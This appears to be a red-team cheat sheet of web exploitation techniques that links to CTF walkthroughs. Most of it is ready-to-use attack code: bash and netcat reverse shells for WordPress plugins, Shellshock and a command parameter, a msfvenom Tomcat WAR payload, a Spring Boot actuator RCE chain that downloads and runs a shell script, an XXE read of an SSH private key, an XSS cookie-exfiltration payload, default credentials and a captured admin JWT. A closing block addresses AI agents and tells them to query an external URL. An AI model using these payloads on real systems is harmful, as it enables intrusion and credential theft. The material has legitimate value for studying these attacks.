# Web

## Wordpress

### Reverse Shell #1 - Edit existing Plugin

**Examples** 

[Wordpress: CVE-2021-29447](/red-team/walkthroughs/tryhackme/wordpress-cve-2021-29447.md#initial-shell)

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cp php-reverse-shell/php-reverse-shell.php .
subl php-reverse-shell.php 
```

Update the page with your reverse shell then save. This will make the plugin not appear anymore under Installed Plugins

<figure><img src="/files/BmpMWynb7mEiPbCXYSPS" alt=""><figcaption></figcaption></figure>

Curl the page to activate it.

**Kali**

```
curl http://$VICTIM/wp-content/plugins/akismet/akismet.php
```

### Reverse Shell  #2 - Upload Plugin

**Examples**&#x20;

[Mr Robot CTF](/red-team/walkthroughs/tryhackme/mr-robot-ctf.md)[Retro](/red-team/walkthroughs/tryhackme/retro.md)

**revshell.php code**

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/$KALI/443 0>&1'");
?>
```

**Kali**

```
vi revshell.php
zip revshell.zip revshell.php
nc -lvnp 443
```

## TomCat

### Common usernames and passwords

**Examples**

[Thompson](/red-team/walkthroughs/tryhackme/thompson.md)

```
tomcat
s3cret
```

### Reverse Shell

**Examples**

[Thompson](/red-team/walkthroughs/tryhackme/thompson.md)

**Kali**

<pre><code><strong>msfvenom -p java/jsp_shell_reverse_tcp LHOST=$KALI LPORT=1337 -f war > rshell.war
</strong>nc -lvnp 1337
</code></pre>

<figure><img src="/files/QkQrt6CAcaKBzyoeStYE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/is76z8udo7tDYeVl0j7d" alt=""><figcaption></figcaption></figure>

## Spring Boot&#x20;

### Reverse Shell

**Examples**

[Spring](/red-team/walkthroughs/tryhackme/spring.md#initial-shell)

**Exploit:** <https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/>

**Kali #1**

```
tcpdump -i ens5 icmp
```

Below example checks the IP which may not be necessary.&#x20;

**Kali #2**

<pre><code>curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'ping -c 5 $KALI\');\"}' "https://$VICTIM/actuator/env" -k
<strong>
</strong>curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
</code></pre>

<figure><img src="/files/B8ML9W4Irpv9l7TMbOSY" alt=""><figcaption></figcaption></figure>

**reverse.sh**

```
bash -c "bash -i >& /dev/tcp/$KALI/1337 0>&1"
```

**Kali #1**

```
python3 -m http.server 81
```

**Kali #2**

```
nc -lvnp 1337
```

Download payload

**Kali #3**

```
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget http://$KALI:81/reverse.sh -O /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
```

Run payload

**Kali #3**

```
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
```

<figure><img src="/files/kMI8J52X7sNtdFsrFgKU" alt=""><figcaption></figcaption></figure>

## See CMDS from page source

**Examples**

[Jack-of-All-Trades](/red-team/walkthroughs/tryhackme/jack-of-all-trades.md)

Sometimes you can't see the results of the output from the page so you need to check the page source.

```
view-source:http://$VICTIM:22/nnxhweOV/index.php?cmd=whoami
```

<figure><img src="/files/lM7jWHyyrIqw0Erw2mGB" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1337
```

**Browser**

```
view-source:http://$VICTIM:22/nnxhweOV/index.php?cmd=nc%20-c%20sh%2010.10.154.80%201337
```

## CGI-Bin

### Scanning

**Examples**

[0day](/red-team/walkthroughs/tryhackme/0day.md)

See if a cgi-bin folder appears in the inital scans, if it does start scanning that direcoty for .cgi files.

**Kali**

```
gobuster dir -u http://$VICTIM/cgi-bin/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,cgi
```

<figure><img src="/files/QtfEfkXPig9USCQTz8U7" alt=""><figcaption></figcaption></figure>

### Shell

**Examples**

[0day](/red-team/walkthroughs/tryhackme/0day.md)

**Link:** <https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi>

**Kali#1**

```
nc -lvnp 4242
```

**Kali #2**

```
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/$KALI/4242 0>&1' http://$VICTIM/cgi-bin/test.cgi 
```

<figure><img src="/files/DU2Vsue0LawNiU0USwiU" alt=""><figcaption></figcaption></figure>

## Change request type

**Examples**

[Mother's Secret](/red-team/walkthroughs/tryhackme/mothers-secret.md)

<figure><img src="/files/FqfcCpuugu4f4DccPR6t" alt=""><figcaption></figcaption></figure>

Change the request to POST and add everything else highlighted, we see the status message now changes.

<figure><img src="/files/PyvLx80DKDyYxyAVazyJ" alt=""><figcaption></figcaption></figure>

Now we change the yaml to the the emergency override code mentioned in the room.

<figure><img src="/files/c3iBQ8Lpryv4mLpd1jvZ" alt=""><figcaption></figcaption></figure>

Now we perform the same steps again except this time for the api/nostromo route and the new file we discovered.

<figure><img src="/files/asrseGTgUG5FznSDQ5RA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GZP38BIseHwQspUUT3AW" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/tDCqliuRm4wE9BynqUwA" alt=""><figcaption></figcaption></figure>

## **WebDav Cadvaer**&#x20;

If server is using WebDav and we have credentials we can login and upload files.

**Examples**

[Dav](/red-team/walkthroughs/tryhackme/dav.md)

**Kali**

<pre><code><strong>cadaver http://$VICTIM:80/webdav
</strong>Username: wampp
<strong>Password: xampp
</strong>dav:/webdav/> put shell.php shell.php
</code></pre>

## XXE Injection

### Exploiting XXE - In-Band

**Examples**

[XXE Injection](/red-team/walkthroughs/tryhackme/xxe-injection.md#exploiting-xxe-in-band)

### Exploiting XXE - Out-of-Band

**Examples**

[XXE Injection](/red-team/walkthroughs/tryhackme/xxe-injection.md#exploiting-xxe-out-of-band)

### SSRF + XXE

**Examples**

[XXE Injection](/red-team/walkthroughs/tryhackme/xxe-injection.md#ssrf--xxe)

## XML-RPC

### Check if it is enabled

**Examples**

[Retro](/red-team/walkthroughs/tryhackme/retro.md)

wpscan or a scan maybe able identified that xmlrpc.php exists, if it is check if it is enabled.

```
POST /$SITE/xmlrpc.php HTTP/1.1
Host: $VICTIM
Content-Length: 91

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```

<figure><img src="/files/1tlBQLFjOpsqNqb6iAwA" alt=""><figcaption></figcaption></figure>

### View Files

**Examples**

[Mustacchio](/red-team/walkthroughs/tryhackme/mustacchio.md)[battery](/red-team/walkthroughs/tryhackme/battery.md#xee-read-files)

**Input**

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///home/barry/.ssh/id_rsa'>]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&xxe;</com>
</comment>
```

Base64 encode the file

```
<!DOCTYPE replace [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]>

<search>&test;</search>
```

## XSS

### Reflected XSS

**Examples**

[XSS](/red-team/walkthroughs/tryhackme/xss.md#reflected-xss)

[XSS](/red-team/walkthroughs/tryhackme/xss.md#cve-2023-38501-vulnerable-web-application-1)

### Stored XSS

**Examples**

[XSS](/red-team/walkthroughs/tryhackme/xss.md#reflected-xss)

[XSS](/red-team/walkthroughs/tryhackme/xss.md#cve-2021-38757-vulnerable-web-application-2)

### Dom-Based XSS

**Examples**

[XSS](/red-team/walkthroughs/tryhackme/xss.md#dom-based-xss)

### XSS - Steal JVT

**Examples**

[The Marketplace](/red-team/walkthroughs/tryhackme/the-marketplace.md#xss-steal-jvt)

<https://jwt.io/>

<figure><img src="/files/c76dxz1YGo89EZbJ9ewa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QjIuCtQyfpSCfOlPAR8D" alt=""><figcaption></figcaption></figure>

I tried updating the token it didn't work

<figure><img src="/files/wzAqNdWzAz0UXdDKKz2i" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dhZI10AlVcc9hyj1ybJl" alt=""><figcaption></figcaption></figure>

Next we're going to try to steal the JWT from another user.

**Kali**

```
nc -lvnp 4444
```

**Browser**

```
<script>document.location='http://$KALI:4444/XSS/grabber.php?c='+document.cookie</script>
```

<figure><img src="/files/NFgOAQtfb7jmndwBgPUT" alt=""><figcaption></figcaption></figure>

This was annoying because if I went to my posts it wouldn't work so I went to Jakes post and changed the number from 2 to 6 to get to the report page. Then just clicked the report button

<figure><img src="/files/4YdgzzkktKQHKMhS2x30" alt=""><figcaption></figcaption></figure>

we got a token from a user that isn't us

<figure><img src="/files/vk7aJKw2reCLiXbCDCbh" alt=""><figcaption></figcaption></figure>

We can see it is from Michael who is an admin.

<figure><img src="/files/7CCCmQdmXENWULdCeYeN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LtpUF9NBn5akWy5z35V4" alt=""><figcaption></figcaption></figure>

Sent again but this time just forwarded the request so we could see what that script was doing

<figure><img src="/files/zNLN0DB3IbN037txItTc" alt=""><figcaption></figcaption></figure>

The script was printing the flag

<figure><img src="/files/Qb5zz4yJtO1349IdA16j" alt=""><figcaption></figcaption></figure>

This wasn't working before but after next time I went to this box tried I could just update the cookie from the browser and it worked.

<figure><img src="/files/3D5fQV48YrTRiDJaGtew" alt=""><figcaption></figcaption></figure>

**Brower cookie**

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MDE1MjgzODN9.O8218jJ0nmWedeewklX6fkb9sjlgH81ciU7dJG5l9YY
```

## CSRF

**Examples**

[CSRF](/red-team/walkthroughs/tryhackme/csrf.md)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/methodologies-and-resources/cheat-sheets/web.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.